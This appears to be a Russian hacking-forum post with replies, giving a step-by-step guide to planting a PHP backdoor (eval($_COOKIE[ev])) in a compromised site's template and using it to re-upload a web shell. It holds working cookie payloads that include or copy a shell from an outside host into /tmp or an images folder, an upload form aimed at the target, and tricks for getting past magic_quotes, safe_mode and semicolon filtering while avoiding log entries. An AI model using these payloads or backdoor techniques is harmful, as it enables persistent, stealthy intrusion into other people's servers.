Перезаливка шелла через eval()
К сожалению, как я мог наблюдать, для многих это является проблемой.
Достаточно частый случай когда можно добавить
небольшой php код, в темплейт или просто в какой либо php файл.
Что лучше добавлять?
Многие вместо eval() добаляют system():
Но это не разумно - safe_mode = on или просто отключение функции system() через disable_functions не только не дадут что либо сделать, но и могут поставить в тупик не опытного пользователя.
ЛУчше использовать eval().
Далее частая ошибка, это использование не глобальной переменной:
eval($ev)
При register_globals = off код будет бесполезен.
Использовать $_GET тоже не советую - лишние записи в логах не нужны.
Как показала практика удобнее всего использовать $_COOKIE. Для этого нужен какой либо редактор куков - но тут проблем быть не должно (в опере есть встроенный редактор, а для фф плагины).
И так определились код eval($_COOKIE[ev]);
Алгоритм такой:
Смотрим phpinfo() (для этого создаём "ev=phpinfo();"):
1. allow_url_include = On
Значит можно проинклудить шелл.
Вариант ev=include('http://site.com/shell.txt'); может не проканать из-за magic_quotes_gpc = On. Тут предлагаю удобное и универсальное решение:
ev=include($_COOKIE[ev2]);
ev2=http://site.com/shell.txt
Советую пользоваться именно таким решением проблемы с magic_quotes_gpc = On т.к. это в разы удобнее чем громадные конструкции с chr().
Собственно это самый удобный способ - т.к. переменные находятся в куках, то шелл будет инклудится при каждом обращение к коду - работа с шеллом будет более чем удобной.
2. allow_url_fopen = On
Т.е. мы будем скачивать шелл с другого сайта.
Если есть уверенность, что какая либо директория доступна для записи - то заливаем шелл в неё:
ev=copy($_COOKIE[ev2],$_COOKIE[ev3]);
ev2=http://site.com/shell.txt
ev3=images/image.php
А если такой уверенности нету, то заливаем шелл в /tmp:
ev=copy($_COOKIE[ev2],$_COOKIE[ev3]);
ev2=http://site.com/shell.txt
ev3=/tmp/phpJ5d4Nb
а затем просто инклудим его как в пункте 1:
ev=include($_COOKIE[ev2]);
ev2=/tmp/phpJ5d4Nb
3. Если же allow_url_include = Off и allow_url_fopen = Off
То делаем как вариант залить шелл со своего компа, для этого делаем следующие куки:
ev=move_uploaded_file($_COOKIE[ev2],$_COOKIE[ev3]);
ev2=$_FILES["upload_file"]["tmp_name"]
ev3=/tmp/phpJ5d4Nb
А теперь делаем html форму:
Код:
<form enctype="multipart/form-data" action="http://targer.com/template.php" method="post">
<input name="upload_file" type="file">
<input type="submit" value="enter">
</form>
http://targer.com/template.php - адрес до скрипта, в котором находится код eval($_COOKIE[ev]).
Куда заливать форму - разницы нет, можно открыть и со своего компа. Далее отправляем файл, файл зальётся в указанную директорию (в данном случае в /tmp ev3=/tmp/phpJ5d4Nb).
Ну, а дальше в зависимости от того куда залили шелл или обращаемся к нему на прямую, или инклудим (если заливали в /tmp).
К сообщению ниже:
Может, так, как предлагаешь ты и проще, но при safe_mode = On ты не сможешь использовать ls -lah.
И кстати использовать copy() при заливки файлов с компа тоже не всегда вариант - т.к. при open_basedir она может не работать.
И я как бы предложил, хоть и более сложные, но наиболее универсальные варианты (с учетом safe_mode = On и отсутствием директорий доступных для записи).
P.S.
Цитата:
Сообщение от Ido
А что делать, если в куки отфильтровывается ";" ?
Через плагин в ФФ создаю куки, прописываю туда "phpinfo();" и сохраняю. Стоит мне их просмотреть, как там "phpinfo()" без точки с запятой. Таким образом невозможно указать конец данных для evla(), и просто вылетает ошибка.
|
Цитата:
Сообщение от m0Hze
phpinfo()%3b
|